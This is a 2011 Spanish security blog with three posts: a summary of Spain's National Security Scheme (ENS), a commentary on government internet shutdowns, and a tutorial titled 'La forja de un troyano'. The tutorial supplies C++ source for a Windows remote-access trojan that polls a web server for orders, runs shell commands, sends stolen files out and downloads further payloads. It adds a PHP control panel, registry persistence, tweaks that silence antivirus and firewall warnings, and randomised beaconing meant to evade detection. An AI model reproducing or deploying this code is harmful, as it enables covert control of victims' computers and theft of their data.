martes, 16 de agosto de 2011

Esquema Nacional de Seguridad (ENS)

Carlos Boto Coto
Gerente de Seguridad Gestionada





Qué es el ENS
El Esquema Nacional de Seguridad (ENS) establece la política de seguridad en la utilización de medios electrónicos para las Administraciones Públicas. Esta política de seguridad establece los principios básicos y requisitos mínimos que permitan una protección adecuada de la información. El ENS está regulado en el Real Decreto 3/2010, de 8 de enero.

Ámbito
El ámbito de aplicación del ENS es el establecido en el artículo 2 de la Ley 11/2007, de 22 de junio, de acceso electrónico de los ciudadanos a los Servicios Públicos. 

Objetivos
·   Crear las condiciones necesarias de confianza en el uso de los medios electrónicos, a través de medidas para garantizar la seguridad de los sistemas, los datos, las comunicaciones y los servicios electrónicos, que permita a los ciudadanos y a las Administraciones Públicas el ejercicio de derechos y el cumplimiento de deberes a través de estos medios.
·   Establecer la política de seguridad en la utilización de medios electrónicos en el ámbito de la Ley 11/2007.
·   Introducir los elementos comunes que han de guiar la actuación de las Administraciones Públicas en materia de seguridad de las tecnologías de la información.
·   Aportar un lenguaje común para facilitar la interacción de las Administraciones Públicas, así como la comunicación de los requisitos de seguridad de la información a la industria.

Estructura del ENS
El Esquema Nacional de Seguridad está estructurado en:
·   Principios básicos que deben ser tenidos en cuenta en las decisiones en materia de seguridad.
·   Requisitos  mínimos de seguridad que permitan una protección adecuada de la información.
·   La categorización de los sistemas para la adopción de medidas de seguridad.
·   Medidas de seguridad para proteger la información, los sistemas y los servicios de los riesgos a los que están expuestos.
·   Auditoría de seguridad que verifique el cumplimiento del ENS.


Principios básicos
En las decisiones en materia de seguridad deben tenerse en cuenta los siguientes principios:
·   Seguridad integral. La seguridad debe ser considerada como un proceso integral constituida por todos los elementos técnicos, humanos, materiales y organizativos.
·   La gestión de riesgos. El análisis y la gestión del riesgo será parte esencial del proceso y deberá mantenerse permanentemente actualizado. La gestión del riesgo permitirá seleccionar medidas determinadas que minimizarán el riesgo hasta niveles aceptables.
·   La prevención, reacción y recuperación. La seguridad del sistema debe contemplar los aspectos de prevención,  detección y corrección para conseguir que las amenazas sobre el mismo no se materialicen.
o   Las medidas de prevención deben reducir la posibilidad de que las amenazas lleguen a materializarse.
o   Las medidas de detección estarán acompañadas de medidas de reacción, de forma que los incidentes de seguridad se atajen a tiempo.
o   Las  medidas de recuperación permitirán la restauración de la información y los servicios.
o   Asimismo, el sistema tendrá que garantizar la conservación de los datos e información en soporte electrónicos, y garantizar la disponibilidad de los servicios durante todo el ciclo vital de la información digital.
·   Las líneas de defensas. El sistema ha de disponer de una estrategia de protección constituida por múltiples capas de seguridad (constituidas por medidas de naturaleza organizativa, física y lógica) de forma que cuando una de las capas falle, permita:
o   Ganar tiempo para una reacción adecuada frente a los incidentes que no han podido evitarse.
o   Reducir la probabilidad de que el sistema sea comprometido en su conjunto.
o   Minimizar el impacto final sobre el mismo.

·   La reevaluación periódica. Las medidas de seguridad se reevaluarán y actualizarán periódicamente, para adecuar su eficacia a la constante evolución de los riesgos y sistema de protección.
·   La seguridad como función diferenciada. En los sistemas de información se diferenciará el responsable de la información, el responsable del servicio y el responsable de seguridad.

Requisitos mínimos
Todos los órganos superiores de las Administraciones Públicas deberán disponer formalmente de su política de seguridad.  Esta política de seguridad, se establecerá en base a los principios básicos anteriormente indicados y se desarrollará aplicando los siguientes requisitos mínimos:
·   Organización e implantación del proceso de seguridad. La seguridad deberá comprometer a todos los miembros de la organización. La política de seguridad deberá identificar unos claros responsables para velar por su cumplimiento y ser conocida por todos los miembros de la organización administrativa.
·   Análisis y gestión de los riesgos. Cada organización que desarrolle e implante sistema para el tratamiento de información y las comunicaciones realizará su propia gestión de riesgos. Las medidas adoptadas para mitigar o suprimir riesgos deberán estar justificadas y, en todo caso, existirá una proporcionalidad entre ellas y los riesgos.
·   Gestión de personal. Todo el personal relacionado con la información y los sistemas deberá ser formado e informado de sus deberes y obligaciones en materia de seguridad. Sus actuaciones deben ser supervisadas para verificar que se siguen los procedimientos establecidos. Para corregir, o exigir responsabilidades en su caso, cada usuario que acceda a la información debe estar identificado de forma única.
·   Profesionalidad.
o   La seguridad de los sistemas estará atendida, revisada y auditada por el personal cualificado.
o   El personal de las Administraciones Públicas recibirá formación específica necesaria para garantizar la seguridad de las tecnologías de la información.
o   Las Administraciones Públicas exigirán que las organizaciones que les presentes servicios de seguridad cuenten con unos niveles idóneos de gestión y madurez en los servicios prestados.
·   Autorización y control de los accesos. El acceso al sistema de información deberá ser controlado y limitado a los usuarios, procesos, dispositivos y otros sistemas de información, debidamente autorizados, restringiendo el acceso a las funciones permitidas.
·   Protección de las instalaciones.  Los sistemas se instalarán en áreas separadas, dotadas de un procedimiento de control de acceso. Como mínimo, las salas deben estar cerradas y disponer de un control de llaves.
·   Adquisición de productos. Se valorarán positivamente aquellos que tengan certificada la funcionalidad de seguridad relacionada con el objeto de su adquisición.
·   Seguridad por defecto. Los sistemas deben diseñarse y configurarse de forma que garanticen, al menos, unos mínimos de seguridad por defecto.
·   Integridad y actualización del sistema.
o   Todo elemento físico o lógico requerirá autorización formal previa a su instalación en el sistema.
o   Se deberá conocer en todo momento el estado de seguridad de los sistemas, en relación a las especificaciones de los fabricantes, a las vulnerabilidades y a las actualizaciones que les afecten, reaccionando con diligencia para gestionar el riesgo a la vista del estado de seguridad de los mismos.
·   Protección de la información almacenada y en tránsito.  Se debe prestar especial atención a los entornos inseguros como los equipos portátiles, PDAs, dispositivos periféricos, soportes de información y comunicaciones sobre redes abiertas o con cifrado débil.
·   Prevención ante otros sistemas de información interconectados. Se ha de proteger el perímetro, en particular, si se conecta a redes públicas como Internet.
·   Registro de actividad. Se registrarán las actividades de los usuarios, reteniendo la información necesaria para monitorizar, analizar, investigar y documentar actividades indebidas o no autorizadas, permitiendo identificar en cada momento a la persona que actúa.
·    Incidentes de seguridad.
o   Se establecerá un sistema de detección y reacción frente a código dañino.
o   Se registrarán los incidentes de seguridad que se produzcan y las acciones de
o   tratamiento que se sigan. Estos registros se emplearán para la mejora continua de la seguridad del sistema.
·   Continuidad de la actividad, Los sistemas dispondrán de copias de seguridad y establecerán los mecanismos necesarios para garantizar la continuidad de las operaciones, en caso de pérdida de los medios habituales de trabajo.
·   Mejora continua del proceso de seguridad. El proceso integral de seguridad implantado deberá ser actualizado y mejorado de forma continua. Para ello, se aplicarán los criterios y métodos reconocidos en la práctica nacional e internacional relativos a gestión de las tecnologías de la información.


Categorización de los sistemas
En este apartado el ENS establece un criterio de clasificación de los sistemas y será de aplicación a todos los sistemas empleados para la prestación de los servicios de la Administración electrónica y soporte del procedimiento administrativo general.
La categorización de los sistemas será un paso clave a la hora de una posterior selección y adopción de medidas concretas de seguridad.
La determinación de la categoría de un sistema se basa en la valoración del impacto que tendría sobre la organización un incidente que afectara a la seguridad de la información o de los sistemas, con repercusión en la capacidad organizativa para:
·       Alcanzar sus objetivos.
·       Proteger los activos a su cargo.
·       Cumplir sus obligaciones diarias de servicio.
·       Respetar la legalidad vigente.
·       Respetar los derechos de las personas.

El método de clasificación y la valoración de impacto definida en el ENS recuerda al método utilizado por MAGERIT. Se definen tres categorías: BÁSICA, MEDIA y ALTA.
·   Un sistema de información será de categoría ALTA si alguna de sus dimensiones  de seguridad (Disponibilidad, Autenticidad, Integridad, Confidencialidad, Trazabilidad) alcanza el nivel ALTO.
·   Un sistema de información será de categoría MEDIA si alguna de sus dimensiones de seguridad alcanza el nivel MEDIO, y ninguna alcanza un nivel superior.
·   Un sistema de información será de categoría BÁSICA si alguna de sus dimensiones de seguridad alcanza el nivel BAJO, y ninguna alcanza un nivel superior.

La secuencia de actuaciones para determinar la categoría de un sistema:
1.   Identificación del nivel correspondiente a cada información y servicio, en función  de las dimensiones de seguridad.
2.   Determinación de la categoría del sistema, según lo establecido en el párrafo anterior.


Medidas de seguridad
Para lograr el cumplimiento de los principios básicos y requisitos mínimos establecidos, se aplicarán las medidas de seguridad, las cuales serán proporcionales a:
·       Las dimensiones de seguridad relevantes en el sistema a proteger.
·       La categoría del sistema de información a proteger.

Las medidas de seguridad se dividen en tres grupos:
·    Marco organizativo [org]. Constituido por el conjunto de medidas relacionadas con la organización global de la seguridad.
o   Política de Seguridad.
o   Normativa de seguridad.
o   Procedimientos de seguridad.
o   Proceso de autorización.
·    Marco operacional [op]. Formado por las medidas a tomar para proteger la operación del sistema como conjunto integral de componentes para un fin.
o   Planificación.
o   Control de Acceso.
o   Explotación.
o   Servicios externos.
o   Continuidad del servicio.
o   Monitorización del sistema.
·    Medidas de protección [mp]. Se centran en proteger activos concretos, según su naturaleza y la calidad exigida por el nivel de seguridad de las dimensiones afectadas.
o   Protección de las instalaciones e infraestructuras.
o   Gestión del personal.
o   Protección de los equipos.
o   Protección de las comunicaciones.
o   Protección de los soportes de información.
o   Protección de las aplicaciones informáticas.
o   Protección de información.
o   Protección de los servicios.


Auditorías de seguridad
·   Los sistemas de información serán objeto de una auditoría regular ordinaria, al menos cada dos años, que verifique el cumplimiento de los requerimientos del  Esquema Nacional de Seguridad.
·   Con carácter extraordinario, deberá realizarse dicha auditoría siempre que se produzcan modificaciones sustanciales en el sistema de información, que puedan repercutir en las medidas de seguridad requeridas. La realización de la auditoria extraordinaria determinará la fecha de cómputo para el cálculo de los dos años, establecidos para la realización de la siguiente auditoría regular ordinaria, indicados en el párrafo anterior.
·   La auditoría se realizará en función de la categoría del sistema.
·   La auditoría profundizará en los detalles del sistema hasta el nivel que considere que proporciona evidencia suficiente y relevante, dentro del alcance establecido para la auditoría.
·   En la realización de esta auditoría se utilizarán los criterios, métodos de trabajo y de conducta generalmente reconocidos, así como la normalización nacional e internacional aplicables a este tipo de auditorías de sistemas de información.
·   El informe de auditoría deberá dictaminar sobre el grado de cumplimiento del ENS, identificar sus deficiencias y sugerir las posibles medidas correctoras o complementarias necesarias, así como las recomendaciones que se consideren oportunas. Deberá, igualmente, incluir los criterios metodológicos de auditoría utilizados, el alcance y el objetivo de la auditoría, y los datos, hechos y observaciones en que se basen las conclusiones formuladas.
·   Los informes de auditoría serán presentados al responsable del sistema y al responsable de seguridad competentes. Estos informes serán analizados por este último que presentará sus conclusiones al responsable del sistema para que adopte las medidas correctoras adecuadas.
·   En el caso de los sistemas de categoría ALTA, visto el dictamen de auditoría, el responsable del sistema podrá acordar la retirada de operación de alguna información, de  algún servicio o del sistema en su totalidad, durante el tiempo que estime prudente y hasta  la satisfacción de las modificaciones prescritas.
·   Los informes de auditoría podrán ser requeridos por los responsables de cada organización con competencias sobre seguridad de las tecnologías de la información.

jueves, 28 de abril de 2011

Cuando se apague Internet

Autor:
Carlos Boto Coto
Gerente de Seguridad Gestionada

En este año hemos sabido de censuras informativas llevadas a cabo por las autoridades de países con conflictos políticos y sociales. Ejemplo de ello fue el apagón tecnológico llevado a cabo por el régimen de Hosni Mubarak en Egipto caracterizado por  un bloqueo inicial a las redes sociales (Facebook, Twiter, …) y una posterior desconexión total del país a La Red. Aunque la censura informativa no es novedad y se sabe que países como China e Irán aplican sistemáticamente altas restricciones en el acceso a contenido en Internet,  los bloqueos tecnológicos acontecidos recientemente avivan algunas de nuestras inquietudes sobre el control de La Red.

Internet es poder
Hoy algunos siguen afirmando que Internet es sólo un medio de comunicación, pero es evidente que es algo más:
A través de internet fluyen las operaciones bursátiles, La Red permite realizar diariamente millones de transacciones bancarias y comerciales, cadenas de producción y logística dependen de Internet,  numerosas empresas y multinacionales basan sus procesos de negocio en La Red. En definitiva, Internet ha pasado de ser un medio de comunicación a ser una herramienta fundamental e imprescindible de la globalización y del sistema capitalista.
Pero no sólo en el ámbito económico Internet es hoy  una herramienta esencial, La Red es parte de las infraestructuras críticas de muchos países desarrollados cuya interrupción o destrucción podría causar daños en la salud, seguridad, bienestar social, o en la estabilidad económica de un país.
Por otra parte, Internet se ha convertido en un poderoso instrumento para la coordinación, cooperación e información de grupos sociales y políticos. Ha quedado demostrado el papel fundamental que han tenido las redes sociales a la hora de conseguir la presencia masiva en las manifestaciones y protestas sociales  en el Magreb y Oriente Próximo.

Por lo tanto, controlar La Red no es sólo controlar un medio de comunicación, es controlar algo más.

El control de La Red
Parece que cuando hablamos de controlar y censurar Internet hablamos de países con regímenes autoritarios y no democráticos con carencias en los derechos individuales y en la libertad de expresión, pero todavía hoy recordamos cuando a mediados del año 2010, el Senado estadounidense proponía una nueva ley que daría plenos poderes al presidente para “pulsar el botón rojo”  y cortar el acceso a Internet;  las compañías proveedoras de acceso a Internet, los buscadores,  y los fabricantes de software seleccionados por el Gobierno deberían cumplir inmediatamente las órdenes del departamento de Seguridad.  Aunque la propuesta de Ley, denominada Protecting Cyberspace as a National Asset Act (PCNAA), sigue siendo un proyecto de Ley, aún hoy continua suscitando polémica.

¿Cuánto queda para que Internet siga siendo libre? Es una pregunta difícil de responder, pero es indudable que Internet es un instrumento de poder cuyo control es ambicionado por muchos.  

miércoles, 27 de abril de 2011

La forja de un troyano

Autor:
Carlos Boto Coto
Gerente de Seguridad Gestionada


Introducción
Podría pensarse, que después de más de veinte años de convivencia con los troyanos, éstos ya no suscitan ni el mínimo interés ni suponen ningún tipo de amenaza, pero considerando que actualmente todavía constituyen el  83% del malware detectado, no se debería bajar la guardia subestimando su potencial peligrosidad.
Un troyano es un programa malicioso cuyo principal propósito es obtener, sin autorización, el control remoto de un determinado sistema. No puede ser considerado como un virus, ya que no dispone de una rutina de difusión propia, por lo que requiere de la intervención de un usuario malicioso para su propagación. El troyano, de forma oculta, crea puertas traseras o backdoors y permanece dormido esperando a recibir órdenes remotas del hacker que lo manipula.


Objetivo de un troyano
Este tipo de malware es creado para permitir el acceso remoto no autorizado al sistema  donde se instala y poder llevar a cabo diferentes acciones, como por ejemplo:

  • Robo de información: transferencia de ficheros,  contraseñas, capturas de pantallas, pulsación de teclas, direcciones de correo, cuentas bancarias, etc.
  • Instalación de otro tipo de malware.
  • Borrado de huellas. Eliminación de ficheros e información comprometida.
  • Hacer que el sistema forme parte de una botnet. A través de una red de bots, se pueden llevar a cabo diferentes ataques: denegación de servicio distribuida, propagación de spam, etc.


Estructura de un troyano
El troyano utiliza una arquitectura de comunicaciones cliente-servidor. La aplicación cliente envía órdenes al servidor y éste ejecuta las acciones asociadas al comando recibido. El servidor permanece oculto en la computadora infectada, y el usuario malicioso utiliza la aplicación  cliente para interactuar remotamente con su troyano. Para explicar mejor su funcionamiento, vamos a ver cómo crear el esqueleto de uno concreto.


Requisitos mínimos
A la hora de crear un troyano hay que tener en cuenta los siguientes requisitos de obligado cumplimiento:

  • R1. Ocultación. El troyano tiene que ser programado para infectar silenciosamente y ocultar su ejecución tanto al propietario del sistema infectado, como a las soluciones antimalware  instaladas.
  • R2. Bajo consumo. El malware no puede ser pesado, ya que de lo contrario la víctima notaría una bajada de rendimiento del sistema y podría sospechar de su presencia.
  • R3. Supervivencia. Pase lo que pase, el troyano debe de sobrevivir y debe mantenerse siempre en ejecución en espera de instrucciones del usuario remoto que lo manipula.
  • R4. Traspaso de barreras. La comunicación entre el troyano y el hacker debe estar siempre activa y debe traspasar barreras generadas por cortafuegos o filtros en las comunicaciones.


Arquitectura
En nuestro ejemplo práctico, crearemos la estructura base del troyano que utilizará un servidor web como intermediario para recibir órdenes de su cliente. Todas las conexiones se  realizarán mediante el protocolo de aplicación http y a través del puerto 80 del protocolo TCP. Por lo tanto, si la computadora infectada tiene acceso a Internet, ya se habrá cumplido el requisito R4.


Cuando el hacker quiere manipular la computadora de la víctima, envía al servidor web la orden que posteriormente recogerá el troyano (paso 1). El servidor web almacenará el comando recibido hasta que el troyano realice una solicitud mediante una petición http al servidor web (paso 2). En la respuesta de la petición http, el troyano recibirá la orden (paso 3), y en máquina infectada ejecutará las acciones asociadas al comando recibido (paso 4). Una vez finalizada la ejecución de las acciones, el troyano enviará el resultado de las mismas encapsulado en una petición http al servidor web (paso 5). El cliente solicitará al servidor web el resultado de la ejecución de la orden (paso 6) y se lo presentará al usuario  malicioso (paso 7). 


Características
Nuestro troyano será creado para la plataforma Microsoft Windows. Para empezar a cumplir el requisito R2, utilizaremos el lenguaje de programación c++, y activaremos las opciones de optimización de rendimiento del compilador. Para simplificar, al troyano ejemplo se le han reducido significativamente el número de posibles acciones que podrá realizar sobre la máquina infectada y únicamente será capaz de realizar las siguientes funciones:

  • Ejecución de cualquier comando del shell de Windows: navegación por directorios, listado de directorios, etc.
  • Robo de información. El hacker podrá descargar cualquier fichero de la víctima.
  • Subida de ficheros.  A través de esta función, por ejemplo, el hacker podrá infectar la computadora de la víctima con nuevas versiones de malware.

Cuerpo principal
En el cuerpo principal, únicamente crearemos un hilo de ejecución que será el encargado de solicitar al servidor web los comandos enviados por la aplicación cliente y de la ejecución de los mismos.

Troyano.cpp
int main(int argc, _TCHAR* argv[])
{
//Creamos el hilo de ejecución principal
HANDLE hThread =CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PrincipalThread, 0, 0, 0); 
//Esperamos indefinidamente hasta que el hilo termine
WaitForSingleObject(hThread, INFINITE);                                                        
//Cerramos los handles del hilo
CloseHandle(hThread);                
return 0;
}


Hilo principal de ejecución
El hilo principal utiliza dos objetos de apoyo: navegador y ejecutor. El objeto navegador de tipo CHTTP, encapsula todas las funciones para interactuar con el servidor web:

  • requestGET(). Realiza al servidor web una petición http de tipo GET con la finalidad de obtener el comando enviado por el hacker.
  • requestPOST(). El troyano utilizará este método del objeto para enviar al servidor web los ficheros robados y las respuestas de los comandos ejecutados. Este método encapsula una petición POST del protocolo http.
  • dowloadFile(). Permite al hacker copiar cualquier fichero en la máquina infectada.
El objeto ejecutor del tipo CEjecutor proporciona el método basicSheell que interactúa con el Shell del sistema operativo para ejecutar cualquier comando de la consola de Windows.


Ejecutor.cpp
void CEjecutor::basicShell(string sComando)
{
                try {
                               string sFinal=" /c " + sComando + " > mswdell.dat";
                               WCHAR wstr[2048];
                               size_t convertedChars = sizeof(wstr)/sizeof(WCHAR);
                               mbstowcs_s(&convertedChars, wstr, sFinal.c_str(), _TRUNCATE);
                               ShellExecute(NULL, NULL, __T("cmd"), wstr, NULL, NULL);                         
                }
                catch(...) {} //captura de excepciones

}


Troyano.cpp
DWORD WINAPI PrincipalThread(PVOID)
{
                string sRespuesta, sComando, sFichero, sOrden;
                int tipoOrden;
                CHTTP* navegador=new CHTTP();
CEjecutor* ejecutor=new CEjecutor();

                srand((unsigned)time(0));
                int random_integer;
                int lowest=5000, highest=15000;
                int range=(highest-lowest)+1;  

                while(true)
                {                             
                sRespuesta = navegador->requestGET();
tipoOrden = ejecutor->getTipoOrden(sRespuesta);      
sOrden = ejecutor->getOrden(sRespuesta);
                switch(tipoOrden)
{
                case 1: //orden para ejecutar cualquier comando del shell de Windows.   
                               ejecutor->basicShell(sOrden);                                                                                                                                                         navegador->requestPOST("mswdell.dat",0);                                                                  
                               break;
                case 2:  //orden para el robo de información                                                                                                
                                navegador->requestPOST(sOrden.c_str(),1);                                                                
                               break;
                case 3: //orden para enviar cualquier fichero a la máquina infectada                                                                                                         navegador->downloadFile(sOrden.c_str());                                                                                                                 break;                                    
                } //fin del switch
               
random_integer = lowest+int(range*rand()/(RAND_MAX + 1.0));
                Sleep(random_integer);
               
                } //fin del while


                delete navegador;
                delete ejecutor;
                // Return and terminate the thread
                return 0;
}

El hilo principal quedará dormido durante un tiempo aleatorio entre cinco y quince segundos, esto ayudará a cumplir el requisito R1 de ocultación, ya que una conexión http que no sigue un patrón regular pasará desapercibida ante la mayoría de soluciones antimalware que lo considerarán como una navegación web normal.


Aplicación cliente
El hacker podrá controlar el troyano a través de Internet accediendo a una página denominada main.php  localizada en el servidor web que interactúa con el malware. La página tendrá un formulario sencillo donde se puedan introducir todas las órdenes interpretables por el troyano. Asimismo, la interfaz presentará el resultado dado por la ejecución de los comandos en la máquina infectada.
A continuación se detalla el código ejemplo de la página main.php

main.php
<html>
  <body>
    <div style="width:50%; float:left;">
      <form action="main.php">
        <h3>Order</h3>
        Execute command <span style="font-size:small"> (with quotation if path include white space)</span>
        <input type="text" id="command" name="command" style="width:100%"/>
         Get file <span style="font-size:small"> (always without quotation)</span>
        <input type="text" id="fileGet" name="fileGet" style="width:100%"/>
        Put file <span style="font-size:small"> (remember the port)</span>
        <input type="text" id="filePut" name="filePut" style="width:100%"/>
        <input type="submit" value="Send"/>
      </form>
    </div>
    <div style="width:100%; float:left">
      <hr/>
      <?php
            $pre = "<html><head></head><body>";
            $post = "</body></html>";

                $order = "";
                if(isset($_GET["command"]) && !empty($_GET["command"])) {
                    $order = $_GET["command"];
                    $order = str_replace("\\\\", "\\", $order);
                    echo "Refreshed order file to execute command: <b>". $order . "</b>";
                    $order = "{Ejecuta orden shell}".$order;
                }
                else if(isset($_GET["fileGet"]) && !empty($_GET["fileGet"])) {
                    $order = $_GET["fileGet"];
                    $order = str_replace("\\\\", "\\", $order);
                    echo "Refreshed order file to get file: <b>". $order ."</b>";
                    $order = "{Roba Fichero}".$order;
                }
                else if(isset($_GET["filePut"]) && !empty($_GET["filePut"])) {
                    $order = $_GET["filePut"];
                    $order = str_replace("\\\\", "\\", $order);
                    echo "Refreshed order file to put file: <b>". $order ."</b>";
                    $order = "{sube Fichero}".$order;
                }
                else {
                  $order = "";
                  echo "Refreshed order file to execute nothing.";
                }
                $handle = fopen("./ordenes.html","w");
                fwrite($handle,$pre);
                fwrite($handle,$order);
                fwrite($handle,$post);
                fclose($handle);
        ?>
    </div>
    <div style="width:100%; height:100%; float:left">     
      <hr/>
      <iframe src ="refrescareseultadocomando.php" width="100%" height="100%">
        <p>Your browser does not support iframes.</p>
      </iframe>
    </div>
      </body>
</html>

Al pulsar el botón de “send” del formulario, se creará una página web en el servidor denominada ordenes.html que contendrá los comandos que deberá interpretar el troyano. Este último, como se ha explicado anteriormente, realizará conexiones periódicas a esta página en busca de instrucciones para ejecutar.
En el siguiente ejemplo se muestra el contenido de página ordenes.html cuando queremos que el troyano nos liste el directorio de la unidad principal  del disco duro de de la computadora infectada:
<html><head></head><body>{Ejecuta orden shell}DIR c:\</body></html>
Por otra parte, la página main.php tiene un iframe que refrescará cada segundo mostrando el resultado enviado por el troyano al finalizar la ejecución de cada orden recibida.

Formas de infección
Quizá algo que ha ayudado a bautizar a este tipo de malware sea la analogía que existe entre el Caballo de Troya de la mitología griega y su método de infección. Un troyano permanece oculto en un programa aparentemente inofensivo, que mientras se está ejecutando con normalidad, infecta la máquina sigilosamente dejándola totalmente vulnerable. El éxito del método de infección radica en la ingenuidad del usuario a la hora de ejecutar programas sin haber comprobado su fiabilidad.
Estas podrían ser algunas formas de infección:

  • Descarga de ficheros en redes p2p.
  • Archivos adjuntos en correos electrónicos.
  • Archivos enviados por mensajería instantánea.
  • Visita de sitios web no confiables.
  • Página web con contenido ejecutable como por ejemplo Activex.

Supervivencia
La supervivencia es esencial para cualquier tipo de malware. Como se ha mencionado anteriormente, uno de los requisitos principales que debe cumplir un troyano es estar siempre en ejecución en espera de las órdenes de su amo. Para lograr este objetivo, el malware puede modificar la siguiente clave del registro para que se ejecuten al inicio de cada sesión del sistema operativo Windows:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Valor: c:\mitroyano.exe

Además, podremos dotarle de mecanismos de ataque y hacer que el troyano deshabilite tanto el antivirus como el motor de actualización y el cortafuegos del sistema operativo. Aunque en nuestro ejemplo, esta última medida no sería necesaria, ya que la arquitectura está pensada para saltar cualquier cortafuegos siempre que la máquina infectada tenga acceso a Internet.
HKLM\SOFTWARE\Microsoft\Security Center
Valor:  AntiVirusDisableNotify = 1

Clave:  HKLM\SOFTWARE\Microsoft\Security Center
Valor:  UpdatesDisableNotify = 1

Clave:  HKLM\SOFTWARE\Microsoft\Security Center
Valor:  FirewallDisableNotify = 1


Suponiendo que el troyano se infecte a través de un programa que ejecute código Visual Basic, este podría ser un código válido para escribir el registro de Windows:

Private Function EscribeRegistro(sKey As String, sValor As String) As Boolean
On Error GoTo ErrSub

    Dim WSHShell, RegTemp
    Set WSHShell = CreateObject("WScript.Shell")
    WSHShell.RegWrite sKey, sValor
    Set WSHShell = Nothing
    Esciberegistro = True
Exit Function


Conclusión
La simplicidad de infección de los troyanos hace que sean prácticamente indetectables por la mayoría de las soluciones antimalware, ya que el método de contagio radica en la ingenuidad del usuario a la hora de ejecutar programas sin haber comprobado su fiabilidad. La creación de un troyano puede estar al alcance de cualquiera con mínimos conocimientos de programación. Esto hace que los troyanos aún hoy sean una amenaza significativa para todos los sistemas.